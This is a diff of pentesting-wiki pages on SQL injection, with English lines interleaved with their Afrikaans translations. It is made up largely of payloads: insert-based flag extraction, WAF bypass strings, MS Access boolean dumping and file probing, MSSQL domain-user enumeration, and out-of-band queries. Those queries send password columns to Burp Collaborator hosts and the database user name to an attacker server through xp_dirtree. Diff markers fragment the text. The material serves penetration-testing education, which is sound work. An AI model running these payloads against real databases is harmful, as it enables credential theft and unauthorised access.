- Consequently, authentication can then be attempted using `admin_generic@example.com` with the password corresponding to the bcrypt hash ("bcrypt_hash_of_newpassword" represents the new password's bcrypt hash, which should be replaced with the actual hash of the desired password).
### Trek inligting uit
### Extract information
#### Creating 2 accounts at the same time
When trying to create a new user and username, password and email are needed:
#### Skep 2 rekeninge terselfdertyd
Wanneer daar probeer word om 'n nuwe gebruiker en gebruikersnaam te skep, is wagwoord en e-pos nodig:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Gebruik van desimale of hexadesimale
#### Using decimal or hexadecimal
With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.
Using **hex2dec** and **substr**:
Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om te noem dat jy nie enige kommentaar hoef te lewer nie.
Gebruik **hex2dec** en **substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
To get the text you can use:
Om die teks te verkry, kan jy gebruik:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Using **hex** and **replace** (and **substr**):
Gebruik **hex** en **replace** (en **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -439,34 +388,28 @@ Using **hex** and **replace** (and **substr**):
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
## Routed SQL injection
## Routed SQL-inspuiting
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Example:
Routed SQL-inspuiting is 'n situasie waar die inspuitbare navraag nie die een is wat uitset gee nie, maar die uitset van die inspuitbare navraag gaan na die navraag wat uitset gee. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Voorbeeld:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF Bypass
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### No spaces bypass
No Space (%20) - bypass using whitespace alternatives
### Geen spasies omseiling
Geen Spasie (%20) - omseiling met behulp van witruimte alternatiewe
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -475,41 +418,31 @@ No Space (%20) - bypass using whitespace alternatives
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - bypass using comments
Geen Spasiestreep - omseil met behulp van kommentaar
```sql
?id=1/*comment*/and/**/1=1/**/--
```
No Whitespace - bypass using parenthesis
Geen Spasiestreep - omseil met behulp van hakies
```sql
?id=(1)and(1)=(1)--
```
### Geen komma omseiling
### No commas bypass
No Comma - bypass using OFFSET, FROM and JOIN
Geen Komma - omseiling met OFFSET, FROM en JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Generiese Omseilings
### Generic Bypasses
Blacklist using keywords - bypass using uppercase/lowercase
Swartlys gebruik sleutelwoorde - omseil met hoofletters/kleinletters
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist using keywords case insensitive - bypass using an equivalent operator
Swartlys met sleutelwoorde, nie-sensitief vir hoofletters - omseil met 'n ekwivalente operator
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -517,48 +450,41 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Wetenskaplike Notasie WAF omseiling
### Scientific Notation WAF bypass
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
Jy kan 'n meer diepgaande verduideliking van hierdie truuk in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) vind.\
Basies kan jy die wetenskaplike notasie op onverwagte maniere gebruik om die WAF te omseil:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Bypass Column Names Restriction
First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
Its possible to **access the third column of a table without using its name** using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like:
Eerstens, let op dat as die **oorspronklike navraag en die tabel waaruit jy die vlag wil onttrek dieselfde aantal kolomme het**, jy net kan doen: `0 UNION SELECT * FROM flag`
Dit is moontlik om **toegang te verkry tot die derde kolom van 'n tabel sonder om sy naam te gebruik** met 'n navraag soos die volgende: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in 'n sqlinjection sal dit lyk soos:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Or using a **comma bypass**:
Of deur 'n **komma omseiling** te gebruik:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Hierdie truuk is geneem van [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### WAF bypass suggester tools
### WAF omseil voorstelle gereedskap
{% embed url="https://github.com/m4ll0k/Atlas" %}
## Other Guides
## Ander Gidse
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Brute-Force Detection List
## Brute-Force Opsporing Lys
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
@ -566,9 +492,8 @@ This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Check the following blogs:
Kyk na die volgende blogs:
- [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
- [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,195 +2,166 @@
{{#include ../../banners/hacktricks-training.md}}
## Online Playground
## Aanlyn Speelgrond
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB Limitations
## DB Beperkings
### String Concatenation
String concatenation is possible with `& (%26)` and `+ (%2b)` characters.
### String Samevoeging
String samevoeging is moontlik met `& (%26)` en `+ (%2b)` karakters.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Kommentaar
### Comments
There are no comments in MS access, but apparently it's possible to remove the last of a query with a NULL char:
Daar is geen kommentaar in MS Access nie, maar dit blyk moontlik te wees om die laaste van 'n navraag met 'n NULL-karakter te verwyder:
```sql
1' union select 1,2 from table%00
```
If this is not working you could always fix the syntax of the query:
As dit nie werk nie, kan jy altyd die sintaksis van die navraag regmaak:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Gestapelde Vrae
### Stacked Queries
Hulle word nie ondersteun nie.
They aren't supported.
### LIMIT
The **`LIMIT`** operator **isn't implemented**. However, it's possible to limit SELECT query results to the **first N table rows using the `TOP` operator**. `TOP` accepts as argument an integer, representing the number of rows to be returned.
### BEPERK
Die **`LIMIT`** operator **is nie geïmplementeer** nie. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die **eerste N tabel rye met die `TOP` operator**. `TOP` aanvaar as argument 'n heelgetal, wat die aantal rye verteenwoordig wat teruggegee moet word.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Net soos TOP kan jy **`LAST`** gebruik wat die **rye van die einde** sal kry.
Just like TOP you can use **`LAST`** which will get the **rows from the end**.
## UNION Queries/Sub queries
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
So, if you want to execute a `UNION SELECT` or `UNION ALL SELECT` or a `SELECT` between parenthesis in a condition, you always **need to indicate a `FROM` with a valid table name**.\
Therefore, you need to know a **valid table name**.
## UNION Vrae/Subvrae
In 'n SQLi wil jy gewoonlik op een of ander manier 'n nuwe vraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in **subvrae of ekstra vrae 'n `FROM` aangedui word**.\
So, as jy 'n `UNION SELECT` of `UNION ALL SELECT` of 'n `SELECT` tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd **'n `FROM` met 'n geldige tabelnaam aandui**.\
Daarom moet jy 'n **geldige tabelnaam** ken.
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
### Ketting gelyk + Substring
> [!WARNING]
> This will allow you to exfiltrate values of the current table without needing to know the name of the table.
> Dit sal jou toelaat om waardes van die huidige tabel te exfiltreer sonder om die naam van die tabel te hoef te weet.
**MS Access** allows **weird syntax** such as **`'1'=2='3'='asd'=false`**. As usually the SQL injection will be inside a **`WHERE`** clause we can abuse that.
Imagine you have a SQLi in a MS Access database and you know (or guessed) that one **column name is username**, and thats the field you want to **exfiltrate**. You could check the different responses of the web app when the chaining equals technique is used and potentially exfiltrate content with a **boolean injection** using the **`Mid`** function to get substrings.
**MS Access** laat **vreemde sintaksis** soos **`'1'=2='3'='asd'=false`** toe. Soos gewoonlik sal die SQL-inspuiting binne 'n **`WHERE`** klousule wees en ons kan dit misbruik.
Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een **kolomnaam username** is, en dit is die veld wat jy wil **exfiltreer**. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting gelyk tegniek gebruik word en moontlik inhoud met 'n **booleaanse inspuiting** exfiltreer deur die **`Mid`** funksie te gebruik om substrings te verkry.
```sql
'=(Mid(username,1,3)='adm')='
```
If you know the **name of the table** and **column** to dump you can use a combination between `Mid` , `LAST` and `TOP` to **leak all the info** via boolean SQLi:
As jy die **naam van die tabel** en **kolom** weet om te dump, kan jy 'n kombinasie van `Mid`, `LAST` en `TOP` gebruik om **alle inligting** via boolean SQLi te **lek**:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel vry om dit in die aanlyn speelgrond te kontroleer._
_Feel free to check this in the online playground._
### Brute-forcing Tables names
Using the chaining equals technique you can also **bruteforce table names** with something like:
### Brute-forcing Tabelname
Deur die kettinggelyk tegniek te gebruik, kan jy ook **bruteforce tabelname** met iets soos:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
You can also use a more traditional way:
Jy kan ook 'n meer tradisionele manier gebruik:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Feel vry om dit in die aanlyn speelgrond te kontroleer._
_Feel free to check this in the online playground._
- Sqlmap algemene tabelname: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Daar is 'n ander lys in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Brute-Forcing Columns names
You can **brute-force current columns names** with the chaining equals trick with:
### Brute-Forcing Kolomname
Jy kan **brute-force huidige kolomname** met die ketting gelyk trick met:
```sql
'=column_name='
```
Or with a **group by**:
Of met 'n **group by**:
```sql
-1' GROUP BY column_name%00
```
Or you can brute-force column names of a **different table** with:
Of jy kan die kolomname van 'n **ander tabel** brute-force met:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Data dump
### Dumping data
We have already discussed the [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **to dump data from the current and other tables**. But there are other ways:
Ons het reeds die [**chaining equals tegniek**](ms-access-sql-injection.md#chaining-equals-+-substring) **bespreek om data uit die huidige en ander tabelle te dump**. Maar daar is ander maniere:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in geval van sukses of 'n "500 Internal Error" andersins. Deur voordeel te trek uit die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.
In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.
### Time Based
### Tydgebaseerd
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
### Other Interesting functions
### Ander Interessante funksies
- `Mid('admin',1,1)` get substring from position 1 length 1 (initial position is 1)
- `LEN('1234')` get length of string
- `ASC('A')` get ascii value of char
- `CHR(65)` get string from ascii value
- `IIF(1=1,'a','b')` if then
- `COUNT(*)` Count number of items
- `Mid('admin',1,1)` kry substring vanaf posisie 1 lengte 1 (beginposisie is 1)
- `LEN('1234')` kry lengte van string
- `ASC('A')` kry ascii waarde van karakter
- `CHR(65)` kry string van ascii waarde
- `IIF(1=1,'a','b')` as dan
- `COUNT(*)` Tel aantal items
## Enumerating tables
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
## Tabels opnoem
Van [**hier**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) kan jy 'n navraag sien om tabelname te kry:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.
## FileSystem access
## FileSystem toegang
### Web Root Directory Full Path
### Web Root Directory Volle Pad
The knowledge of the **web root absolute path may facilitate further attacks**. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database.
Die kennis van die **web root absolute pad mag verdere aanvalle fasiliteer**. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data van 'n nie-bestaande databasis te kies.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access responds with an **error message containing the web directory full pathname**.
MS Access reageer met 'n **foutboodskap wat die web gids se volle padnaam bevat**.
### File Enumeration
### Lêer Enumerasie
The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid:
Die volgende aanvalsvector kan gebruik word om **die bestaan van 'n lêer op die afstands lêerstelsel af te lei**. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inligting gee dat die databasisformaat ongeldig is:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Another way to enumerate files consists into **specifying a database.table item**. **If** the specified **file exists**, MS Access displays a **database format error message**.
Nog 'n manier om lêers te enumerate, bestaan uit **die spesifisering van 'n databasis.tabel item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **databasisformaat foutboodskap**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb File Name Guessing
### .mdb Lêernaam Raai
**Database file name (.mdb)** can be inferred with the following query:
**Databasis lêernaam (.mdb)** kan afgelei word met die volgende navraag:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Where **name\[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.
Waar **name\[i] 'n .mdb lêernaam** is en **realTable 'n bestaande tabel** binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om te onderskei tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam.
### .mdb Password Cracker
### .mdb Wagwoord Kraker
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is a free utility that can be used to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0.
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is 'n gratis nut wat gebruik kan word om die hoof databasis wagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
## References
## Verwysings
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,28 +2,26 @@
{{#include ../../banners/hacktricks-training.md}}
## Active Directory enumeration
## Aktiewe Directory enumerasie
It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions:
- **`SELECT DEFAULT_DOMAIN()`**: Get current domain name.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: If you know the name of the domain (_DOMAIN_ in this example) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**.\
This function will allow you to **know the ID of the domain** (all the bytes except of the last 4).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : This function will return the **username of the ID indicated** (if any), in this case **0000e803** in big endian == **1000** (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:
Dit mag moontlik wees om **domein gebruikers te enumerate via SQL-inspuiting binne 'n MSSQL** bediener deur die volgende MSSQL funksies te gebruik:
- **`SELECT DEFAULT_DOMAIN()`**: Kry huidige domeinnaam.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: As jy die naam van die domein (_DOMAIN_ in hierdie voorbeeld) ken, sal hierdie funksie die **SID van die gebruiker Administrator** in hex formaat teruggee. Dit sal lyk soos `0x01050000000[...]0000f401`, let op hoe die **laaste 4 bytes** die nommer **500** in **big endian** formaat is, wat die **gewone ID van die gebruiker administrateur** is.\
Hierdie funksie sal jou toelaat om die **ID van die domein** te **ken** (al die bytes behalwe die laaste 4).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Hierdie funksie sal die **gebruikersnaam van die aangeduide ID** teruggee (indien enige), in hierdie geval **0000e803** in big endian == **1000** (gewoonlik is dit die ID van die eerste gewone gebruiker ID wat geskep is). Dan kan jy jou voorstel dat jy gebruikers-ID's van 1000 tot 2000 kan brute-force en waarskynlik al die gebruikersname van die gebruikers van die domein kan kry. Byvoorbeeld deur 'n funksie soos die volgende te gebruik:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Alternatiewe Fout-gebaseerde vektore**
## **Alternative Error-Based vectors**
Fout-gebaseerde SQL-inspuitings lyk tipies soos konstruksies soos `+AND+1=@@version--` en variasies gebaseer op die «OR» operator. Vrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omseiling, konkateer 'n string met die %2b karakter met die resultaat van spesifieke funksie-aanroepe wat 'n datatipe-omskakelingsfout op gesogte data veroorsaak.
Error-based SQL injections typically resemble constructions such as `+AND+1=@@version--` and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.
Some examples of such functions:
Sommige voorbeelde van sulke funksies:
- `SUSER_NAME()`
- `USER_NAME()`
@ -33,22 +31,19 @@ Some examples of such functions:
- `TYPE_NAME()`
- `COL_NAME()`
Example use of function `USER_NAME()`:
Voorbeeld gebruik van funksie `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
## SSRF
These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
Hierdie SSRF truuks [is hier geneem](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
### `fn_xe_file_target_read_file`
It requires **`VIEW SERVER STATE`** permission on the server.
Dit vereis **`VIEW SERVER STATE`** toestemming op die bediener.
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
@ -60,11 +55,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
It requires the **`CONTROL SERVER`** permission.
Dit vereis die **`CONTROL SERVER`** toestemming.
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
@ -76,11 +69,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`
It requires the **`CONTROL SERVER`** permission.
Dit vereis die **`CONTROL SERVER`** toestemming.
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
@ -92,26 +83,23 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Stored procedures like `xp_dirtree`, though not officially documented by Microsoft, have been described by others online due to their utility in network operations within MSSQL. These procedures are often used in Out of Band Data exfiltration, as showcased in various [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) and [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
The `xp_dirtree` stored procedure, for instance, is used to make network requests, but it's limited to only TCP port 445. The port number isn't modifiable, but it allows reading from network shares. The usage is demonstrated in the SQL script below:
Gestoor prosedures soos `xp_dirtree`, hoewel nie amptelik gedokumenteer deur Microsoft nie, is deur ander aanlyn beskryf weens hul nut in netwerkbedrywighede binne MSSQL. Hierdie prosedures word dikwels gebruik in Out of Band Data exfiltrasie, soos getoon in verskeie [voorbeelde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) en [pligte](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Die `xp_dirtree` gestoor prosedure, byvoorbeeld, word gebruik om netwerk versoeke te maak, maar dit is beperk tot slegs TCP poort 445. Die poortnommer kan nie gewysig word nie, maar dit stel voor om van netwerk gedeeltes te lees. Die gebruik word gedemonstreer in die SQL skrip hieronder:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
Dit is opmerklik dat hierdie metode dalk nie op alle stelsels konfigurasies werk nie, soos op `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` wat op 'n `Windows Server 2016 Datacenter` met standaardinstellings loop.
It's noteworthy that this method might not work on all system configurations, such as on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` with default settings.
Additionally, there are alternative stored procedures like `master..xp_fileexist` and `xp_subdirs` that can achieve similar outcomes. Further details on `xp_fileexist` can be found in this [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
Daarbenewens is daar alternatiewe gestoor prosedures soos `master..xp_fileexist` en `xp_subdirs` wat soortgelyke resultate kan behaal. Verdere besonderhede oor `xp_fileexist` kan gevind word in hierdie [TechNet artikel](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Obviously you could also use **`xp_cmdshell`** to **execute** something that triggers a **SSRF**. For more info **read the relevant section** in the page:
Dit is duidelik dat jy ook **`xp_cmdshell`** kan gebruik om iets uit te voer wat 'n **SSRF** aktiveer. Vir meer inligting **lees die relevante afdeling** op die bladsy:
{{#ref}}
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
@ -119,50 +107,43 @@ Obviously you could also use **`xp_cmdshell`** to **execute** something that tri
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
